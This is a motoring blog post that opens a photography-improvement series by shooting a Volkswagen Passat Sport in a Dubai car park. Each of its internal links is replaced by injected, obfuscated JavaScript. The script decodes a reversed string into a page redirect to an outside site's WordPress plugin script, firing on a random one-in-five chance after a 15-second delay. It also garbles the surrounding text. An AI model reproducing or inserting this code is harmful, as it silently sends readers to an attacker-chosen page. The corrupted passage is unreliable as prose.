I take on a challenge: can I improve my photography in just three easy lessons? In the first of this series, I consider Subject with the help of the new Volkswagen Passat Sport.
[Not a valid template]“Have you thought about taking some photography lessons?”
That might sound like a cold-blooded burn at my expense, but it’s also a fair point. crankandpiston coverage of several international launches during the past 18 months have relied solely on my photography, and while I am proud of what has rolled off the memory card, some TLC wouldn’t go amiss.
So from this casually proffered question came a challenge: could I improve my photography in just three easy lessons to the point that it is almost unrecognisable from my earlier work? During this series, we will take on the basic principals of photography – Subject, Landscape, and Lighting – and see not only how I fare with each photoshoot, but how much knowledge I take from each too. For comparison (and to potentially boost my ego from time-to-time), crankandpiston photographer Arun will be joining me for each test to take his own shots. And in an effort to keep the competition balanced, both sets will receive the bare minimum of editing: the images you see here and over the page are essentially what have come out of the camera.
For our first test – Subject – we needed to think cleverly about the car. Using a $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/tags/ferrari/” target=”_blank”>Ferrari or a $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/tags/lamborghini/” target=”_blank”>Lamborghini seemed pointless since even I can make the beautiful $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-road/ferrari-f12berlinetta-driven-dubai-uae-the-hunt/” target=”_blank”>F12berlinetta look good (if you don’t believe me check out $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston#” target=”_blank”>crankandpiston instagram). No, what we needed was a mainstream vehicle with a little dash of punch, and the new Volkswagen Passat Sport seemed an ideal contender. As subject matter it certainly looks the part, but thanks to smoothed edges, sleek body panels and elongated features, highlighting the detail embedded in $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/tags/volkswagen/” target=”_blank”>VW’s design was going to be tricky.
Plus, so as not to draw attention away from our Subject, we needed a lowkey backdrop, namely the top floor of the Dubai Mall parking lot. Mid-afternoon, the sun is directly overhead, providing us not only with superb light but also – thanks to the girders and overheard masonry that makes up the parking lot’s structure – with a series of perpendicular lines across the Passat to offer some perspective. Mid-afternoon though (in the Middle East, in August) also means that temperatures are tipping the mid-40s. As well as finding the right shot, maintaining concentration is going to be tough.
